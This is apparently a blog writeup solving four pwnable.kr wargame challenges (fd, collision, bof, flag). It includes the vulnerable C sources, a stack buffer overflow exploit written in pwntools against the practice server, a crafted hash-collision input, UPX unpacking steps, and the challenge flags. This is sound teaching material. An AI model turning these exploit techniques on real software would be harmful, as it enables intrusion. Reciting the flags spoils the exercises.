This post details my writeups for a few of the challenges at pwnable.kr – a wargame site for pwn challenges. As I make my way through the the other challenges I’ll periodically update this page with additional writeups. I may also work through the Nightmare course to get better at binary exploitation/reverse engineering as I’ve heard positive feedback about it.

fd:

Mommy! what is a file descriptor in Linux?
ssh fd@pwnable.kr -p2222 (pw:guest)

Solution:

There are 3 files provided: the binary fd, the source code fd.c and a flag file flag.

Attempting to cat out the flag results in a Permission denied error due to a lack of permissions on the file. Therefore, we need to work with the fd binary. The source code, fd.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

So, we need to pass a number as argv[1], which will be converted to an integer using the atoi function. The program then subtracts 0x1234 from this integer to get the file descriptor fd. It reads up to 32 bytes from fd into the buffer buf. If the content of buf is equal to LETMEWIN\n, the program will print the flag.

In Unix operating systems, the standard file descriptors are: 0,1,2 for stdin, stdout, and stderr respectively.

If we manage to set the file descriptor to 0 (standard input), we can then type in the LETMEWIN\n string. 0x1234 is 4660 in decimal. Passing 4660 in decimal sets fd to 0 and causes the read(fd, buf, 32); line to read from standard input. Entering LETMEWIN succesfully returns the flag as !strcmp("LETMEWIN\n", buf) checks to see whether the provided input is equal to the string.

Flag

Flag:

mommy! I think I know what a file descriptor is!!

collision:

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

Solution:

Once again, there are three files provided: col, col.c, and flag. The souce code, col.c:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

Based on the code we learn that to get the flag, we need to provide a specific 20-byte passcode such that the check_password function returns the hashcode value 0x21DD09EC.

  • Providing 0x21DD09EC or 568134124 (0x21DD09EC in decimal) as the passcode obviously won’t work as it is not 20 bytes.
  • Providing something like 'AAAAABBBBBCCCCCDDDDD' also won’t work as although 20 bytes, is not the intended passcode.

Therefore, we need to better understand the check_password function which is the main part of the program:

unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}
  • The input p is cast to an int*, meaning the function treats the input string p as an array of integers.
  • Each int is 4 bytes, so the function will read 5 integers from the 20-byte string (5 * 4 = 20).
  • The function sums up these 5 integers and returns the result.

So, we need to supply an input which will produce a valid passcode that meets the required conditions. The goal is for this sum to equal the target hashcode 0x21DD09EC (568134124 in decimal).

Calculation:

Divide the target hashcode by 5:

568134124/5 = 113626824

Multiply the base integer by 4:

4 * 113626824 = 454507296

Subtract this from the target to find the fifth integer:

568134124 - 454507296 = 113626828

The integers are 113626824 repeated four times and 113626828 once – which we can use to craft the passcode. In hexadecimal these are:

113626824  ->  6c5cec8
113626828  ->  6c5cecc

These hexadecimal values represent the bytes that need to be packed into the passcode. In little-endian format, these are \xc8\xce\xc5\x06 and \xcc\xce\xc5\x06.

You might be wondering why we divided by 5 and then calculated the fifth integer separately. This is due to the division of the target hashcode by 5. When we divide 568134124 by 5, we get a non-integer result: 113626824.8. This is not a whole number and integers must be whole numbers. If we use four equal integers and one different integer, we can calculate the total sum to match the target hashcode exactly.

We can use Python to add them up into a string to pass in:

python -c 'print "\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06"'

Using that as input to col:

Flag

Flag:

daddy! I just managed to create a hash collision :)

bof:

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

Solution:

As the name of the challenge suggests, we are going to be exploiting a buffer overflow. The source code of the binary bof, bof.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

The vulnerability exists where gets(overflowme) is used as gets does not perform bounds checking. This means that if we input more than 32 characters, it will overflow the overflowme buffer and overwrite adjacent memory. From the code we can see that if the value of key is 0xcafebabe, it calls system("/bin/sh") to open a shell.

We start by using gdb to disassemble the program:

gdb

We can see when func is disassembled, the comparison for the value of key happens at the cmp instruction. So, we can set a breakpoint there using break *func+40. We then run the program and input a bunch of ‘A’ characters.

run

We inspect the stack by issuing the x/50wx $esp command to show 50 words (200 bytes) from the stack pointer ($esp).

esp

From the output, we can see 0xdeadbeef which is what we want to overwrite, and our input of ‘A’s (0x41 in hex). To determine the offset, the exact amount of ‘A’s we require is the distance from the start of overflowme to the key. We do this by counting the byte sequence from the start of the overflowme buffer to the key variable in the stack dump. When we previously ran the program, we inputted 48 ‘A’s. Notice that when we inspect the stack, there is only a 4-byte block of memory remaining until we reach 0xdeadbeef. Therefore, an additional 4 ‘A’s would allow us to reach the key variable – so 52 bytes in total are needed to overflow the buffer.

We write a script using pwntools for the exploit:

from pwn import *

payload = b'A'*52+p32(0xcafebabe) # the payload with 52 'A's followed by the little-endian representation of 0xcafebabe
r = remote('pwnable.kr',9000)
r.sendline(payload)
r.interactive()

We run this and successfully get a shell on the machine which allows us to cat out the flag:

Flag

Flag:

daddy, I just pwned a buFFer :)

flag:

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

Solution:

For this challenge we are given one file named flag. Attempting to run it will return a Permission denied error as it is not an executable yet. We give it permissions and attempt to run it:

If we take a look at the binary we can see that it has no section header:

I initially thought of using gdb to try and disassemble the program but that did not go anywhere as there was no symbol table or debugging information.

I then used strings to parse through the file, which at first returned illegible/garbled output until I came across the following line:

So, we learn that the file is packed with the UPX executable packer. A packed file is simply a file in a compressed format. However, packing is also a common obfuscation technique used by malware authors to hide their malicious code and evade detection. As the specific packer for this file is known, we can download UPX to unpack it and reveal the actual content of the binary.

So, I proceeded to install upx and ran upx -d to unpack the file:

Running file flag now shows that the file is not stripped:

Thus, the actual content of the binary should now be revealed and running strings on the unpacked file returns a much more readable output.

Using gdb to disassemble the program:

Notice the line with the comment written for the address of the flag, # 0x6c2070. The flag contents are being copied into rdx. We can issue the command x/s *0x6c2070 to dereference the pointer stored at the address and print the string located at the resulting address.

Using Ghidra:

Alternatively, we could have achieved this using Ghidra. Once the unpacked binary is loaded, going to the main function will present the following:

We have the listing window which shows the disassembled code of the binary, as well as the decompile window to the right which translates the assembly code into a pseudo C code. If you take a close look, the listing window already shows the flag, but ignoring that for a second, the decompile window shows the flag variable being defined on line 9. When we click it we get:

These entries look like a reference to a string, we click on the reference to see what the string value is and obtain the same flag:

Flag:

UPX...? sounds like a delivery service :)